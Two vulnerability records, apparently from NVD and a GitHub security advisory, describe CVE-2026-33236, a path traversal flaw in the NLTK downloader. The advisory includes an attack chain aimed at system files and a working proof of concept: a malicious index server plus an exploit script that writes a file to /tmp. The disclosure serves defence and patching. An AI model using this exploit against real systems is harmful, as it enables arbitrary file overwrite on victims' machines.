{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "E3C35863-7D82-4EEF-BDE8-E94C559CF4FB",
              "versionEndIncluding": "3.9.3",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue."
    },
    {
      "lang": "es",
      "value": "NLTK (Natural Language Toolkit) es un conjunto de m\u00f3dulos Python de c\u00f3digo abierto, conjuntos de datos y tutoriales que apoyan la investigaci\u00f3n y el desarrollo en Procesamiento del Lenguaje Natural. En las versiones 3.9.3 y anteriores, el descargador de NLTK no valida los atributos \u0027subdir\u0027 e \u0027id\u0027 al procesar archivos de \u00edndice XML remotos. Los atacantes pueden controlar un servidor de \u00edndice XML remoto para proporcionar valores maliciosos que contengan secuencias de salto de ruta (como \u0027../\u0027), lo que puede llevar a la creaci\u00f3n arbitraria de directorios, creaci\u00f3n arbitraria de archivos y sobrescritura arbitraria de archivos. El commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a corrige el problema."
    }
  ],
  "id": "CVE-2026-33236",
  "lastModified": "2026-03-23T19:15:37.720",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-20T23:16:47.007",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33236"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T12:42:42Z",
    "nvd_published_at": "2026-03-20T23:16:47Z",
    "severity": "HIGH"
  },
  "details": "## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n   \u2193\n2. Provides malicious XML: \u003cpackage id=\"passwd\" subdir=\"../../etc\" .../\u003e\n   \u2193\n3. Victim executes: downloader.download(\u0027passwd\u0027)\n   \u2193\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n   \u2193\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n   \u2193\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n   \u2193\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n   \u2193\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cnltk_data\u003e\n  \u003cpackages\u003e\n    \u003cpackage id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n             url=\"http://127.0.0.1:8888/test.zip\" \n             size=\"100\" unzipped_size=\"100\" unzip=\"0\"/\u003e\n  \u003c/packages\u003e\n\u003c/nltk_data\u003e\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n    f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n    zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == \u0027/malicious_index.xml\u0027:\n            self.send_response(200)\n            self.send_header(\u0027Content-type\u0027, \u0027application/xml\u0027)\n            self.end_headers()\n            with open(os.path.join(server_dir, \u0027malicious_index.xml\u0027), \u0027rb\u0027) as f:\n                self.wfile.write(f.read())\n        elif self.path == \u0027/test.zip\u0027:\n            self.send_response(200)\n            self.send_header(\u0027Content-type\u0027, \u0027application/zip\u0027)\n            self.end_headers()\n            with open(os.path.join(server_dir, \u0027test.zip\u0027), \u0027rb\u0027) as f:\n                self.wfile.write(f.read())\n        else:\n            self.send_response(404)\n            self.end_headers()\n    \n    def log_message(self, format, *args):\n        pass\n\n# Start server\nif __name__ == \"__main__\":\n    port = 8888\n    server = HTTPServer((\"0.0.0.0\", port), Handler)\n    print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n    print(\"Press Ctrl+C to stop\")\n    try:\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n    download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n    print(f\"Download directory: {download_dir}\")\n    \n    # Exploit vulnerability\n    from nltk.downloader import Downloader\n    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n    downloader.download(\"test_file\", quiet=True)\n    \n    # Check results\n    expected_path = \"/tmp/test_file.zip\"\n    if os.path.exists(expected_path):\n        print(f\"\\n\u2717 Exploit successful! File written to: {expected_path}\")\n        print(f\"\u2717 Path traversal attack successful!\")\n    else:\n        print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n### Execution Results\n\n```\n\u2717 Exploit successful! File written to: /tmp/test_file.zip\n\u2717 Path traversal attack successful!\n```",
  "id": "GHSA-469j-vmhf-r6v7",
  "modified": "2026-03-25T18:21:27Z",
  "published": "2026-03-19T12:42:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite"
}